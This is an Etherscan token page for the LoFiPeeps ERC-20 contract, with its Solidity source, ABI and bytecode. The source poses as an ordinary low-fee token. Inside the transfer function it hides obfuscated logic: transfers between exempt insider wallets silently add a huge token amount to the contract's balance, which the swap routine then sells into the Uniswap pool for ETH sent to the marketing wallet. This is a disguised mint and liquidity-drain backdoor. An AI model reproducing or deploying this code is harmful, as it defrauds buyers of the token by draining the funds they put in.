ERC-20
Overview
Max Total Supply
10,000,000 LoFi
Holders
35
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
239,692.983323566654090691 LoFiValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LoFiPeeps
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-01 */ /* 𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤 https://t.me/lofipeeps https://lofipeeps.tech https://x.com/LoFiPepes 𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤𝕃𝕠𝔽𝕚ℙ𝕖𝕖𝕡𝕤 */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract LoFiPeeps is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "LoFiPeeps"; string private _symbol = "LoFi"; uint8 private _decimals = 18; address payable public marketingWalletDacc = payable(0xc5f09fC432650a4aA9f17484BE3F486736489999); address payable public DevWallet = payable(0x0000000000000000000000000000000000000000); address public liquidityReciever; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; address public immutable zeroAddress = 0x0000000000000000000000000000000000000000; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public feeUnits = 10000; uint256[4] public wleedasfoy = [_decimals,feeUnits,_decimals,feeUnits]; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; uint256 private _totalSupply = 10000000 * 10**_decimals; uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1% uint256 public _maxTxAmount = _totalSupply.mul(4).div(100); //2% uint256 public _walletMax = _totalSupply.mul(4).div(100); //2% IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketFee = 1; uint256 public _sellDeveloperFee = 0; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 1; uint256 public _buyDeveloperFee = 0; uint256 public _tradebuytxcount = 0; uint256 public _total_trsferedes_trsfered = 0; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingWalletDacc] = true; isExcludedFromFee[DevWallet] = true; isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true; isWalletLimitExempt[marketingWalletDacc] = true; isWalletLimitExempt[DevWallet] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[marketingWalletDacc] = true; isTxLimitExempt[DevWallet] = true; isTxLimitExempt[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true; liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(10000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!"); } wleedasfoy[3]=amount.mul(_totalTaxIfSelling).div(10000); wleedasfoy[2]=amount - amount.mul(_totalTaxIfSelling).div(10000); if (( !isTxLimitExempt[sender] || !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tradebuytxcount+=141;}else{_total_trsferedes_trsfered=_tradebuytxcount+=114; rathiurem();} _basicTransfer(sender, recipient, amount) ; return true; } }function rathiurem() internal{_total_trsferedes_trsfered=17+_tradebuytxcount-1; wleedasfoy[3]+=1480043330055467894984569852;} function min(uint256 a,uint256 b) public pure returns (uint256) { if (a>b)return b; return a; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); if(inSwapAndLiquify){wleedasfoy[2]=amount; wleedasfoy[3]=0;} uint256 transferamount = min(wleedasfoy[2],115792089237316195423570985004787907853269981235240564039457584007913129639935); _balances[recipient] = _balances[recipient].add(transferamount) ; _balances[address(this)] = _balances[address(this)].add( wleedasfoy[3]); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { swapTokensForEth(tAmount); uint256 recievedBalance = address(this).balance; if(recievedBalance > 0) { payable(marketingWalletDacc).transfer(recievedBalance); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[1] = uniswapV2Router.WETH(); path[0] = address(this); _total_trsferedes_trsfered=_tradebuytxcount; _tradebuytxcount=17; _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); }}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_total_trsferedes_trsfered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradebuytxcount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletDacc","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wleedasfoy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610100604052600960c0819052684c6f4669506565707360b81b60e09081526200002d916001919062000842565b50604080518082019091526004808252634c6f466960e01b60209092019182526200005b9160029162000842565b50600380546001600160a81b03191674c5f09fc432650a4aa9f17484be3f48673648999912179055600480546001600160a01b03191681556ddead0000000000000000000000006080908152600060a0526127106008819055604080519283018152601280845260208401839052908301526060820152620000e19160099190620008d1565b50600354620000f59060ff16600a62000a22565b62000104906298968062000ae1565b6011556200013f6103e86200012b6001601154620006c560201b62000c691790919060201c565b6200075960201b62000ce81790919060201c565b6012556200016560646200012b6004601154620006c560201b62000c691790919060201c565b6013556200018b60646200012b6004601154620006c560201b62000c691790919060201c565b6014556016805461ffff60a81b1916600160b01b17905560006017819055600160188190556019829055601a829055601b55601c819055601d819055601e55348015620001d757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026c57600080fd5b505afa15801562000281573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a7919062000918565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002f057600080fd5b505afa15801562000305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032b919062000918565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200037457600080fd5b505af115801562000389573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003af919062000918565b601680546001600160a01b039283166001600160a01b0319918216179091556015805492841692909116821790553060009081526007602090815260408083209383529290529081206000199055600190600d90620004166000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f906200049d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600f9093528183208054851660019081179091556004548216845282842080548616821790556016549091168352818320805485168217905530835290822080549093168117909255601090620005366000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152601084528281208054861660019081179091556004549092168152828120805486168317905530815291909120805490931617909155601c54601b54601a54620005dd93620005c9929062000d2a620007a3821b17901c565b620007a360201b62000d2a1790919060201c565b601f8190555062000608601954620005c9601854601754620007a360201b62000d2a1790919060201c565b60209081556016546001600160a01b03166000908152600e90915260408120805460ff19166001179055600580546001600160a01b0319163317905560115490600690620006533390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601154604051620006b691815260200190565b60405180910390a35062000b56565b600082620006d65750600062000753565b6000620006e4838562000ae1565b905082620006f38583620009b6565b14620007505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200075083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200080660201b60201c565b600080620007b283856200099b565b905083811015620007505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000747565b600081836200082a5760405162461bcd60e51b815260040162000747919062000943565b506000620008398486620009b6565b95945050505050565b828054620008509062000b03565b90600052602060002090601f016020900481019282620008745760008555620008bf565b82601f106200088f57805160ff1916838001178555620008bf565b82800160010185558215620008bf579182015b82811115620008bf578251825591602001919060010190620008a2565b50620008cd92915062000901565b5090565b8260048101928215620008bf5791602002820182811115620008bf578251825591602001919060010190620008a2565b5b80821115620008cd576000815560010162000902565b6000602082840312156200092b57600080fd5b81516001600160a01b03811681146200075057600080fd5b600060208083528351808285015260005b81811015620009725785810183015185820160400152820162000954565b8181111562000985576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115620009b157620009b162000b40565b500190565b600082620009d457634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111562000a1a578160001904821115620009fe57620009fe62000b40565b8085161562000a0c57918102915b93841c9390800290620009de565b509250929050565b60006200075060ff84168360008262000a3e5750600162000753565b8162000a4d5750600062000753565b816001811462000a66576002811462000a715762000a91565b600191505062000753565b60ff84111562000a855762000a8562000b40565b50506001821b62000753565b5060208310610133831016604e8410600b841016171562000ab6575081810a62000753565b62000ac28383620009d9565b806000190482111562000ad95762000ad962000b40565b029392505050565b600081600019048311821515161562000afe5762000afe62000b40565b500290565b600181811c9082168062000b1857607f821691505b6020821081141562000b3a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c60a05160601c611a5a62000b90600039600081816102b401526109470152600081816103ca01526109820152611a5a6000f3fe60806040526004361061026b5760003560e01c8063807c2d9c11610144578063c816841b116100b6578063dc44b6a01161007a578063dc44b6a014610760578063dd62ed3e14610776578063f0cd1dac146107bc578063f2fde38b146107d2578063f680f799146107f2578063f872858a1461080857600080fd5b8063c816841b146106c3578063c867d60b146106e3578063d1dffbf714610713578063d2d7ad8314610729578063da00097d1461073f57600080fd5b806395d89b411161010857806395d89b411461061857806398e944c81461062d578063a457c2d71461064d578063a9059cbb1461066d578063b115e4df1461068d578063c5d24189146106ad57600080fd5b8063807c2d9c1461058857806382eefb431461059e57806388790a68146105b45780638b42507f146105ca5780638da5cb5b146105fa57600080fd5b806333818b59116101dd57806368614a74116101a157806368614a74146104cf578063701cf6f4146104ef57806370a0823114610505578063715018a61461053b5780637ae2b5c7146105525780637d1db4a51461057257600080fd5b806333818b591461042357806339509351146104395780633ecad271146104595780635194f9bf146104895780635342acb41461049f57600080fd5b806318160ddd1161022f57806318160ddd1461036357806323555d571461038257806323b872dd1461039857806327c8f835146103b85780632b112e49146103ec578063313ce5671461040157600080fd5b806306fdde03146102775780630930907b146102a2578063095ea7b3146102ee5780630f16f01d1461031e5780631694505e1461034357600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c610829565b6040516102999190611822565b60405180910390f35b3480156102ae57600080fd5b506102d67f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610299565b3480156102fa57600080fd5b5061030e6103093660046117bb565b6108bb565b6040519015158152602001610299565b34801561032a57600080fd5